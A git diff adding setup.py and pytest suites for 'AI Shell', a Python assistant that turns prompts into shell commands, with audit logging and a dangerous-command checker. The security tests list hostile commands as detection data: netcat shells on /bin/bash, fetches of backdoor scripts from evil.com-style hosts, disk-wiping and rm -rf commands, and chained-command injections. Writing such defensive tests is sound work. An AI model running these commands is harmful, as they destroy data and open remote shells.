mode 100644 index 0000000..2678046 --- /dev/null +++ b/setup.py @@ -0,0 +1,43 @@ +#!/usr/bin/env python3 +"""Setup script for AI Shell.""" + +from setuptools import setup, find_packages + +with open("README.md", "r", encoding="utf-8") as fh: + long_description = fh.read() + +with open("requirements.txt", "r", encoding="utf-8") as fh: + requirements = [line.strip() for line in fh if line.strip() and not line.startswith("#")] + +setup( + name="ai-shell", + version="0.1.0", + author="AI Shell Contributors", + description="An intelligent, multi-modal command-line assistant", + long_description=long_description, + long_description_content_type="text/markdown", + packages=find_packages(), + classifiers=[ + "Development Status :: 4 - Beta", + "Intended Audience :: Developers", + "Intended Audience :: System Administrators", + "License :: OSI Approved :: MIT License", + "Operating System :: OS Independent", + "Programming Language :: Python :: 3", + "Programming Language :: Python :: 3.9", + "Programming Language :: Python :: 3.10", + "Programming Language :: Python :: 3.11", + "Programming Language :: Python :: 3.12", + "Topic :: System :: Shells", + "Topic :: Software Development :: Libraries :: Python Modules", + ], + python_requires=">=3.9", + install_requires=requirements, + entry_points={ + "console_scripts": [ + "ai-shell=ai_shell.main:main", + "ai-shell-audit=ai_shell_audit:main", + ], + }, + include_package_data=True, +) \ No newline at end of file diff --git a/tests/conftest.py b/tests/conftest.py new file mode 100644 index 0000000..f9d5182 --- /dev/null +++ b/tests/conftest.py @@ -0,0 +1,47 @@ +"""Test configuration for AI Shell.""" + +import pytest +import tempfile +from pathlib import Path + + +@pytest.fixture +def temp_config_dir(): + """Create a temporary directory for test configuration.""" + with tempfile.TemporaryDirectory() as temp_dir: + yield temp_dir + + +@pytest.fixture +def mock_config_file(temp_config_dir): + """Create a mock configuration file.""" + config_content = """ +llm: + provider: gemini + gemini: + api_key: test_key + model: gemini-1.5-flash + local: + host: localhost + port: 11434 + model: llama3 + +logging: + level: INFO + file: test.log + format: '%(asctime)s - %(levelname)s - %(message)s' + +training: + dataset_file: test_dataset.jsonl + auto_log: true + +security: + require_confirmation: false + dangerous_commands: + - rm -rf + - format +""" + config_path = Path(temp_config_dir) / "config.yaml" + with open(config_path, "w") as f: + f.write(config_content) + return str(config_path) diff --git a/tests/test_audit.py b/tests/test_audit.py new file mode 100644 index 0000000..57743bd --- /dev/null +++ b/tests/test_audit.py @@ -0,0 +1,252 @@ +"""Tests for AI Shell audit logging functionality.""" + +import tempfile +import json +import time +import os +from pathlib import Path +from unittest.mock import patch + +from ai_shell.audit import AuditLogger, get_audit_logger + + +class TestAuditLogger: + """Test cases for AuditLogger class.""" + + def test_audit_logger_initialization(self): + """Test AuditLogger initialization.""" + with tempfile.TemporaryDirectory() as temp_dir: + audit_file = Path(temp_dir) / "test_audit.jsonl" + + with patch("ai_shell.audit.get_config") as mock_config: + mock_config.return_value.get.side_effect = lambda key, default: { + "logging.audit_file": str(audit_file), + "logging.audit_enabled": True, + }.get(key, default) + + logger = AuditLogger() + assert logger.enabled is True + assert logger.audit_file == str(audit_file) + + def test_log_command_attempt(self): + """Test logging command attempts.""" + with tempfile.TemporaryDirectory() as temp_dir: + audit_file = Path(temp_dir) / "test_audit.jsonl" + + with patch("ai_shell.audit.get_config") as mock_config: + mock_config.return_value.get.side_effect = lambda key, default: { + "logging.audit_file": str(audit_file), + "logging.audit_enabled": True, + }.get(key, default) + + logger = AuditLogger() + logger.log_command_attempt("ls -la", "list files", "allowed") + + # Verify log entry + assert audit_file.exists() + with open(audit_file, 'r') as f: + entry = json.loads(f.read().strip()) + assert entry["event_type"] == "command_attempt" + assert entry["command"] == "ls -la" + assert entry["user_prompt"] == "list files" + assert entry["security_status"] == "allowed" + + def test_log_command_execution(self): + """Test logging command execution results.""" + with tempfile.TemporaryDirectory() as temp_dir: + audit_file = Path(temp_dir) / "test_audit.jsonl" + + with patch("ai_shell.audit.get_config") as mock_config: + mock_config.return_value.get.side_effect = lambda key, default: { + "logging.audit_file": str(audit_file), + "logging.audit_enabled": True, + }.get(key, default) + + logger = AuditLogger() + logger.log_command_execution("ls -la", "list files", 0, 0.5, True) + + # Verify log entry + assert audit_file.exists() + with open(audit_file, 'r') as f: + entry = json.loads(f.read().strip()) + assert entry["event_type"] == "command_execution" + assert entry["command"] == "ls -la" + assert entry["exit_code"] == 0 + assert entry["success"] is True + assert entry["execution_time_seconds"] == 0.5 + assert entry["user_confirmed"] is True + + def test_log_security_event(self): + """Test logging security events.""" + with tempfile.TemporaryDirectory() as temp_dir: + audit_file = Path(temp_dir) / "test_audit.jsonl" + + with patch("ai_shell.audit.get_config") as mock_config: + mock_config.return_value.get.side_effect = lambda key, default: { + "logging.audit_file": str(audit_file), + "logging.audit_enabled": True, + }.get(key, default) + + logger = AuditLogger() + logger.log_security_event( + "blocked_command", + "rm -rf /", + {"reason": "dangerous command"} + ) + + # Verify log entry + assert audit_file.exists() + with open(audit_file, 'r') as f: + entry = json.loads(f.read().strip()) + assert entry["event_type"] == "security_event" + assert entry["security_event_type"] == "blocked_command" + assert entry["command"] == "rm -rf /" + assert entry["details"]["reason"] == "dangerous command" + + def test_disabled_logging(self): + """Test that logging is disabled when configured.""" + with tempfile.TemporaryDirectory() as temp_dir: + audit_file = Path(temp_dir) / "test_audit.jsonl" + + with patch("ai_shell.audit.get_config") as mock_config: + mock_config.return_value.get.side_effect = lambda key, default: { + "logging.audit_file": str(audit_file), + "logging.audit_enabled": False, + }.get(key, default) + + logger = AuditLogger() + logger.log_command_attempt("ls -la", "list files", "allowed") + + # Verify no log file created + assert not audit_file.exists() + + def test_get_recent_commands(self): + """Test retrieving recent commands.""" + with tempfile.TemporaryDirectory() as temp_dir: + audit_file = Path(temp_dir) / "test_audit.jsonl" + + with patch("ai_shell.audit.get_config") as mock_config: + mock_config.return_value.get.side_effect = lambda key, default: { + "logging.audit_file": str(audit_file), + "logging.audit_enabled": True, + }.get(key, default) + + logger = AuditLogger() + + # Log multiple commands + logger.log_command_execution("ls", "list", 0, 0.1, True) + logger.log_command_execution("pwd", "current dir", 0, 0.1, True) + logger.log_command_execution("whoami", "user", 0, 0.1, True) + + # Get recent commands + commands = logger.get_recent_commands(2) + assert len(commands) == 2 + assert commands[0]["command"] == "whoami" # Most recent first + assert commands[1]["command"] == "pwd" + + def test_get_security_events(self): + """Test retrieving security events.""" + with tempfile.TemporaryDirectory() as temp_dir: + audit_file = Path(temp_dir) / "test_audit.jsonl" + + with patch("ai_shell.audit.get_config") as mock_config: + mock_config.return_value.get.side_effect = lambda key, default: { + "logging.audit_file": str(audit_file), + "logging.audit_enabled": True, + }.get(key, default) + + logger = AuditLogger() + + # Log security events + logger.log_security_event("blocked_command", "rm -rf /", {}) + logger.log_security_event("suspicious_pattern", "ls; rm -rf", {}) + + # Get security events + events = logger.get_security_events(24) + assert len(events) == 2 + assert all(event["event_type"] == "security_event" for event in events) + + def test_generate_audit_report(self): + """Test generating audit reports.""" + with tempfile.TemporaryDirectory() as temp_dir: + audit_file = Path(temp_dir) / "test_audit.jsonl" + + with patch("ai_shell.audit.get_config") as mock_config: + mock_config.return_value.get.side_effect = lambda key, default: { + "logging.audit_file": str(audit_file), + "logging.audit_enabled": True, + }.get(key, default) + + logger = AuditLogger() + + # Log various events + logger.log_command_execution("ls", "list", 0, 0.1, True) + logger.log_command_execution("pwd", "dir", 1, 0.1, True) # Failed + logger.log_security_event("blocked_command", "rm -rf /", {}) + + # Generate report + report = logger.generate_audit_report() + + assert report["total_commands"] == 2 + assert report["successful_commands"] == 1 + assert report["failed_commands"] == 1 + assert report["security_events"] == 1 + assert "ls" in report["top_commands"] + assert "pwd" in report["top_commands"] + + def test_audit_file_directory_creation(self): + """Test that audit file directory is created if it doesn't exist.""" + with tempfile.TemporaryDirectory() as temp_dir: + audit_file = Path(temp_dir) / "nested" / "dir" / "test_audit.jsonl" + + with patch("ai_shell.audit.get_config") as mock_config: + mock_config.return_value.get.side_effect = lambda key, default: { + "logging.audit_file": str(audit_file), + "logging.audit_enabled": True, + }.get(key, default) + + logger = AuditLogger() + logger.log_command_attempt("test", "test", "allowed") + + # Verify directory and file created + assert audit_file.parent.exists() + assert audit_file.exists() + + def test_get_audit_logger_singleton(self): + """Test that get_audit_logger returns singleton instance.""" + logger1 = get_audit_logger() + logger2 = get_audit_logger() + assert logger1 is logger2 + + def test_json_serialization_safety(self): + """Test that audit logging handles complex data safely.""" + with tempfile.TemporaryDirectory() as temp_dir: + audit_file = Path(temp_dir) / "test_audit.jsonl" + + with patch("ai_shell.audit.get_config") as mock_config: + mock_config.return_value.get.side_effect = lambda key, default: { + "logging.audit_file": str(audit_file), + "logging.audit_enabled": True, + }.get(key, default) + + logger = AuditLogger() + + # Log event with complex details + complex_details = { + "nested": {"data": True}, + "list": [1, 2, 3], + "special_chars": "unicode: 🔒", + } + + logger.log_security_event( + "test_event", + "test command", + complex_details + ) + + # Verify it can be read back + with open(audit_file, 'r') as f: + entry = json.loads(f.read().strip()) + assert entry["details"]["nested"]["data"] is True + assert entry["details"]["list"] == [1, 2, 3] + assert "🔒" in entry["details"]["special_chars"] \ No newline at end of file diff --git a/tests/test_config.py b/tests/test_config.py new file mode 100644 index 0000000..64a60f7 --- /dev/null +++ b/tests/test_config.py @@ -0,0 +1,82 @@ +"""Tests for AI Shell configuration module.""" + +import yaml +from pathlib import Path +from ai_shell.config import Config + + +def test_config_initialization(): + """Test basic configuration initialization.""" + config = Config() + assert config.config is not None + assert isinstance(config.config, dict) + + +def test_config_get_default_values(): + """Test getting default configuration values.""" + config = Config() + + # Test default values + assert config.get("llm.provider") == "gemini" + assert config.get("logging.level") == "INFO" + assert config.get("security.require_confirmation") is True + assert config.get("nonexistent.key", "default") == "default" + + +def test_config_set_values(): + """Test setting configuration values.""" + config = Config() + + config.set("test.key", "test_value") + assert config.get("test.key") == "test_value" + + config.set("nested.deep.key", 42) + assert config.get("nested.deep.key") == 42 + + +def test_config_load_from_file(mock_config_file): + """Test loading configuration from file.""" + config = Config(mock_config_file) + + assert config.get("llm.provider") == "gemini" + assert config.get("llm.gemini.api_key") == "test_key" + assert config.get("security.require_confirmation") is False + + +def test_config_save_to_file(temp_config_dir): + """Test saving configuration to file.""" + config = Config() + config.set("test.key", "test_value") + + config_file = Path(temp_config_dir) / "test_config.yaml" + config.save(str(config_file)) + + # Verify file was created and contains expected data + assert config_file.exists() + + with open(config_file, "r") as f: + saved_config = yaml.safe_load(f) + + assert saved_config["test"]["key"] == "test_value" + + +def test_config_dangerous_commands(): + """Test default dangerous commands list.""" + config = Config() + dangerous_commands = config.get("security.dangerous_commands", []) + + assert "rm -rf" in dangerous_commands + assert "format" in dangerous_commands + assert isinstance(dangerous_commands, list) + + +def test_config_nested_access(): + """Test deeply nested configuration access.""" + config = Config() + + # Test non-existent nested key + assert config.get("a.b.c.d.e", "default") == "default" + + # Set nested value + config.set("a.b.c.d.e", "nested_value") + assert config.get("a.b.c.d.e") == "nested_value" diff --git a/tests/test_executor.py b/tests/test_executor.py new file mode 100644 index 0000000..6fdcefe --- /dev/null +++ b/tests/test_executor.py @@ -0,0 +1,192 @@ +"""Tests for AI Shell executor module.""" + +import tempfile +import json +import subprocess +from pathlib import Path +from unittest.mock import patch, MagicMock + +from ai_shell.executor import SecurityChecker, TrainingDataLogger, CommandExecutor + + +class TestSecurityChecker: + """Test cases for SecurityChecker class.""" + + def test_security_checker_initialization(self): + """Test SecurityChecker initialization.""" + checker = SecurityChecker() + assert checker is not None + assert hasattr(checker, "dangerous_commands") + + def test_dangerous_command_detection(self): + """Test detection of dangerous commands.""" + checker = SecurityChecker() + + # Test dangerous commands + assert checker.is_dangerous_command("rm -rf /") + assert checker.is_dangerous_command("format C:") + assert checker.is_dangerous_command("dd if=/dev/zero of=/dev/sda") + assert checker.is_dangerous_command("sudo rm -rf") + + # Test safe commands + assert not checker.is_dangerous_command("ls -la") + assert not checker.is_dangerous_command("cat file.txt") + assert not checker.is_dangerous_command("mkdir new_folder") + + def test_command_validation(self): + """Test command validation logic.""" + checker = SecurityChecker() + + # Test safe command + is_safe, message = checker.validate_command("ls -la") + assert is_safe + assert message is None + + # Test dangerous command + is_safe, message = checker.validate_command("rm -rf /") + assert not is_safe + assert "dangerous" in message.lower() + + def test_custom_dangerous_commands(self): + """Test custom dangerous commands configuration.""" + with patch("ai_shell.executor.get_config") as mock_config: + mock_config.return_value.get.return_value = ["custom_dangerous_cmd"] + checker = SecurityChecker() + assert checker.is_dangerous_command("custom_dangerous_cmd") + + +class TestTrainingDataLogger: + """Test cases for TrainingDataLogger class.""" + + def test_training_logger_initialization(self): + """Test TrainingDataLogger initialization.""" + logger = TrainingDataLogger() + assert logger is not None + + def test_log_training_pair(self, tmp_path): + """Test logging training data pairs.""" + # Create temporary dataset file + dataset_file = tmp_path / "test_dataset.jsonl" + + with patch("ai_shell.executor.get_config") as mock_config: + mock_config.return_value.get.side_effect = lambda key, default=None: { + "training.dataset_file": str(dataset_file), + "training.auto_log": True, + }.get(key, default) + + logger = TrainingDataLogger() + logger.log_training_pair("list files", "ls -la", "positive") + + # Verify data was logged + assert dataset_file.exists() + with open(dataset_file, "r") as f: + data = json.loads(f.read()) + assert data["prompt"] == "list files" + assert data["completion"] == "ls -la" + assert data["feedback"] == "positive" + + def test_auto_log_disabled(self, tmp_path): + """Test that logging is skipped when auto_log is disabled.""" + dataset_file = tmp_path / "test_dataset.jsonl" + + with patch("ai_shell.executor.get_config") as mock_config: + mock_config.return_value.get.side_effect = lambda key, default=None: { + "training.dataset_file": str(dataset_file), + "training.auto_log": False, + }.get(key, default) + + logger = TrainingDataLogger() + logger.log_training_pair("test", "test", "positive") + + # Verify no data was logged + assert not dataset_file.exists() + + +class TestCommandExecutor: + """Test cases for CommandExecutor class.""" + + def test_executor_initialization(self): + """Test CommandExecutor initialization.""" + executor = CommandExecutor() + assert executor is not None + assert hasattr(executor, "security_checker") + assert hasattr(executor, "training_logger") + + @patch("ai_shell.executor.subprocess.Popen") + @patch("builtins.input") + def test_safe_command_execution(self, mock_input, mock_popen): + """Test execution of safe commands.""" + # Mock user input for confirmation and feedback + mock_input.side_effect = ["y", "y"] # confirm execution, positive feedback + + # Mock subprocess + mock_process = MagicMock() + mock_process.stdout.readline.side_effect = ["test output\n", ""] + mock_process.wait.return_value = 0 + mock_popen.return_value = mock_process + + executor = CommandExecutor() + result = executor.execute_command("ls -la", "list files") + + assert result is True + mock_popen.assert_called_once() + + @patch("builtins.input", return_value="n") + def test_dangerous_command_rejection(self, mock_input): + """Test rejection of dangerous commands.""" + executor = CommandExecutor() + result = executor.execute_command("rm -rf /", "delete everything") + + assert result is False + + @patch("ai_shell.executor.subprocess.Popen") + @patch("builtins.input") + def test_command_execution_failure(self, mock_input, mock_popen): + """Test handling of command execution failures.""" + # Mock user input for confirmation and feedback + mock_input.side_effect = ["y", "n"] # confirm execution, negative feedback + + # Mock subprocess with failure + mock_process = MagicMock() + mock_process.stdout.readline.side_effect = ["error output\n", ""] + mock_process.wait.return_value = 1 + mock_popen.return_value = mock_process + + executor = CommandExecutor() + result = executor.execute_command("nonexistent_command", "run fake command") + + assert result is False + + @patch("ai_shell.executor.get_config") + @patch("ai_shell.executor.subprocess.Popen") + @patch("builtins.input") + def test_no_confirmation_mode(self, mock_input, mock_popen, mock_config): + """Test execution without confirmation when configured.""" + mock_config.return_value.get.side_effect = lambda key, default=None: { + "security.require_confirmation": False + }.get(key, default) + + # Mock successful execution + mock_process = MagicMock() + mock_process.stdout.readline.side_effect = ["output\n", ""] + mock_process.wait.return_value = 0 + mock_popen.return_value = mock_process + + # Mock feedback input (this will still be called for feedback) + mock_input.return_value = "y" + + executor = CommandExecutor() + result = executor.execute_command("ls", "list files") + + assert result is True + # Should only be called once for feedback, not for confirmation + assert mock_input.call_count == 1 + + def test_get_executor_singleton(self): + """Test that get_executor returns singleton instance.""" + from ai_shell.executor import get_executor + + executor1 = get_executor() + executor2 = get_executor() + + assert executor1 is executor2 \ No newline at end of file diff --git a/tests/test_security.py b/tests/test_security.py new file mode 100644 index 0000000..e902265 --- /dev/null +++ b/tests/test_security.py @@ -0,0 +1,222 @@ +"""Security validation tests for AI Shell.""" + +import pytest +from unittest.mock import patch + +from ai_shell.executor import SecurityChecker + + +class TestSecurityValidation: + """Comprehensive security validation tests.""" + + def test_dangerous_filesystem_commands(self): + """Test detection of dangerous filesystem commands.""" + checker = SecurityChecker() + + dangerous_commands = [ + "rm -rf /", + "rm -rf /*", + "rm -rf ~", + "format C:", + "dd if=/dev/zero of=/dev/sda", + "mkfs.ext4 /dev/sda1", + ] + + for cmd in dangerous_commands: + assert ( + checker.is_dangerous_command(cmd) + ), f"Command should be detected as dangerous: {cmd}" + + def test_dangerous_system_commands(self): + """Test detection of dangerous system commands.""" + checker = SecurityChecker() + + dangerous_commands = [ + "shutdown -h now", + "reboot", + "halt", + "poweroff", + "killall -9", + "pkill -9 -f .", + ] + + for cmd in dangerous_commands: + assert ( + checker.is_dangerous_command(cmd) + ), f"Command should be detected as dangerous: {cmd}" + + def test_dangerous_network_commands(self): + """Test detection of dangerous network commands.""" + checker = SecurityChecker() + + dangerous_commands = [ + "nc -l -p 4444 -e /bin/bash", + "netcat -l -p 1234 -e /bin/sh", + "curl http://malicious.com/script.sh", + "wget http://evil.com/backdoor.sh", + ] + + for cmd in dangerous_commands: + assert ( + checker.is_dangerous_command(cmd) + ), f"Command should be detected as dangerous: {cmd}" + + def test_safe_commands(self): + """Test that safe commands are not flagged as dangerous.""" + checker = SecurityChecker() + + safe_commands = [ + "ls -la", + "cat file.txt", + "mkdir new_directory", + "touch new_file.txt", + "cp file1.txt file2.txt", + "mv old_name.txt new_name.txt", + "grep 'pattern' file.txt", + "find . -name '*.py'", + "chmod 755 script.sh", + "ps aux", + "top", + "df -h", + "du -sh *", + "whoami", + "pwd", + "echo 'Hello World'", + "date", + "uname -a", + "history", + "which python", + "python --version", + "pip list", + "git status", + "vim file.txt", + "nano file.txt", + ] + + for cmd in safe_commands: + assert not checker.is_dangerous_command( + cmd + ), f"Safe command incorrectly flagged as dangerous: {cmd}" + + def test_command_injection_patterns(self): + """Test detection of basic command injection patterns.""" + checker = SecurityChecker() + + # Test some basic patterns that would be caught by dangerous commands + injection_commands = [ + "ls; rm -rf /", + "cat file.txt && shutdown -h now", + ] + + for cmd in injection_commands: + assert ( + checker.is_dangerous_command(cmd) + ), f"Command injection not detected: {cmd}" + + def test_case_insensitive_detection(self): + """Test that dangerous command detection is case insensitive.""" + checker = SecurityChecker() + + variations = [ + "RM -RF /", + "FORMAT C:", + "SHUTDOWN -H NOW", + ] + + for cmd in variations: + assert ( + checker.is_dangerous_command(cmd) + ), f"Case variation not detected as dangerous: {cmd}" + + def test_whitespace_and_special_characters(self): + """Test detection with various whitespace and special characters.""" + checker = SecurityChecker() + + variations = [ + " rm -rf / ", + "\trm -rf /\t", + "rm -rf /", + ] + + for cmd in variations: + assert ( + checker.is_dangerous_command(cmd) + ), f"Whitespace variation not detected: {cmd}" + + def test_custom_security_configuration(self): + """Test custom security configuration.""" + custom_dangerous = ["custom_dangerous", "another_bad_command"] + + with patch("ai_shell.executor.get_config") as mock_config: + mock_config.return_value.get.return_value = custom_dangerous + checker = SecurityChecker() + + assert checker.is_dangerous_command("custom_dangerous") + assert checker.is_dangerous_command("another_bad_command") + assert not checker.is_dangerous_command("safe_command") + + def test_validation_with_dangerous_command(self): + """Test command validation with dangerous commands.""" + checker = SecurityChecker() + + is_safe, message = checker.validate_command("rm -rf /") + assert not is_safe + assert message is not None + assert "dangerous" in message.lower() + + def test_validation_with_safe_command(self): + """Test command validation with safe commands.""" + checker = SecurityChecker() + + is_safe, message = checker.validate_command("ls -la") + assert is_safe + assert message is None + + def test_empty_and_invalid_commands(self): + """Test handling of empty and invalid commands.""" + checker = SecurityChecker() + + # Empty command + assert not checker.is_dangerous_command("") + assert not checker.is_dangerous_command(" ") + assert not checker.is_dangerous_command("\t\n") + + # None should not crash + assert not checker.is_dangerous_command(None) + + def test_performance_with_long_commands(self): + """Test performance with very long commands.""" + checker = SecurityChecker() + + # Very long safe command + long_safe_command = "echo " + "a" * 10000 + assert not checker.is_dangerous_command(long_safe_command) + + # Very long dangerous command + long_dangerous_command = "rm -rf / " + "a" * 10000 + assert checker.is_dangerous_command(long_dangerous_command) + + +class TestSecurityIntegration: + """Integration tests for security features.""" + + def test_security_checker_integration(self): + """Test security checker integration with executor.""" + from ai_shell.executor import CommandExecutor + + executor = CommandExecutor() + assert executor.security_checker is not None + assert hasattr(executor.security_checker, "is_dangerous_command") + assert hasattr(executor.security_checker, "validate_command") + + def test_default_dangerous_commands_list(self): + """Test that default dangerous commands are properly loaded.""" + checker = SecurityChecker() + dangerous_commands = checker.dangerous_commands + + # Should contain common dangerous patterns + expected_patterns = ["rm -rf", "format", "shutdown"] + for pattern in expected_patterns: + assert any( + pattern.lower() in cmd.lower() for cmd in dangerous_commands + ), f"Expected dangerous pattern not found: {pattern}" \ No newline at end of file diff --git a/tests/test_ui.py b/tests/test_ui.py new file mode 100644 index 0000000..76ceefb --- /dev/null +++ b/tests/test_ui.py @@ -0,0 +1,172 @@ +"""Tests for AI Shell UI module.""" + +import io +import sys +from unittest.mock import patch + +from ai_shell.ui import ( + colors, + format_error, + format_warning, + format_info, + format_success, + format_command_output, + print_banner, + print_mode_selection, + print_provider_selection, + print_local_model_selection, +) + + +class TestColorFormatting: + """Test cases for color formatting functions.""" + + def test_format_error(self): + """Test error message formatting.""" + message = "Test error" + formatted = format_error(message) + assert colors.ERROR in formatted + assert colors.RESET in formatted + assert message in formatted + + def test_format_warning(self): + """Test warning message formatting.""" + message = "Test warning" + formatted = format_warning(message) + assert colors.WARNING in formatted + assert colors.RESET in formatted + assert message in formatted + + def test_format_info(self): + """Test info message formatting.""" + message = "Test info" + formatted = format_info(message) + assert colors.INFO in formatted + assert colors.RESET in formatted + assert message in formatted + + def test_format_success(self): + """Test success message formatting.""" + message = "Test success" + formatted = format_success(message) + assert colors.SUCCESS in formatted + assert colors.RESET in formatted + assert message in formatted + + def test_format_command_output(self): + """Test command output formatting.""" + output = "command output" + formatted = format_command_output(output) + assert colors.COMMAND in formatted + assert colors.RESET in formatted + assert output in formatted + + +class TestPrintFunctions: + """Test cases for print functions.""" + + def test_print_banner(self): + """Test banner printing.""" + with patch("sys.stdout", new_callable=io.StringIO) as mock_stdout: + print_banner() + output = mock_stdout.getvalue() + assert "AI-Powered Shell Assistant" in output + assert "v0.1.0" in output + + def test_print_mode_selection(self): + """Test mode selection menu printing.""" + with patch("sys.stdout", new_callable=io.StringIO) as mock_stdout: + print_mode_selection() + output = mock_stdout.getvalue() + assert "Choose an operating mode" in output + assert "Command Translator" in output + assert "AI Assistant" in output + assert "Metasploit Assistant" in output + assert "Wapiti Assistant" in output + + def test_print_provider_selection(self): + """Test provider selection menu printing.""" + with patch("sys.stdout", new_callable=io.StringIO) as mock_stdout: + print_provider_selection() + output = mock_stdout.getvalue() + assert "Choose an LLM provider" in output + assert "Gemini" in output + assert "Local LLM" in output + + def test_print_local_model_selection(self): + """Test local model selection menu printing.""" + test_models = { + "1": {"name": "Test Model 1", "size_gb": "4"}, + "2": {"name": "Test Model 2", "size_gb": "8"}, + } + + with patch("sys.stdout", new_callable=io.StringIO) as mock_stdout: + print_local_model_selection(test_models) + output = mock_stdout.getvalue() + assert "choose a local LLM" in output + assert "Test Model 1" in output + assert "Test Model 2" in output + assert "4 GB" in output + assert "8 GB" in output + + +class TestColorConstants: + """Test cases for color constants.""" + + def test_colors_dictionary(self): + """Test that colors object contains required attributes.""" + required_colors = [ + "INFO", + "SUCCESS", + "WARNING", + "ERROR", + "RESET", + ] + + for color in required_colors: + assert hasattr(colors, color) + assert isinstance(getattr(colors, color), str) + + def test_color_codes_are_strings(self): + """Test that all color codes are strings.""" + color_attrs = [attr for attr in dir(colors) if not attr.startswith('_')] + for color_name in color_attrs: + color_code = getattr(colors, color_name) + assert isinstance(color_code, str) + assert len(color_code) > 0 + + +class TestColoramaCompatibility: + """Test cases for colorama compatibility.""" + + def test_colorama_fallback(self): + """Test that UI functions work without colorama.""" + # Test that functions don't crash when colorama is not available + # This would be tested by temporarily mocking COLORAMA_AVAILABLE = False + with patch("ai_shell.ui.COLORAMA_AVAILABLE", False): + # Re-import to get fallback behavior + import importlib + import ai_shell.ui + + importlib.reload(ai_shell.ui) + + # Test basic functionality still works + message = ai_shell.ui.format_error("test") + assert "test" in message + + def test_format_functions_with_empty_input(self): + """Test format functions with empty input.""" + assert format_error("") != "" + assert format_warning("") != "" + assert format_info("") != "" + assert format_success("") != "" + + def test_format_functions_with_special_characters(self): + """Test format functions with special characters.""" + special_text = "Test with 🎉 emojis and\nnewlines\ttabs" + + # Should not crash and should preserve the input + assert special_text in format_error(special_text) + assert special_text in format_warning(special_text) + assert special_text in format_info(special_text) + assert special_text in format_success(special_text) \ No newline at end of file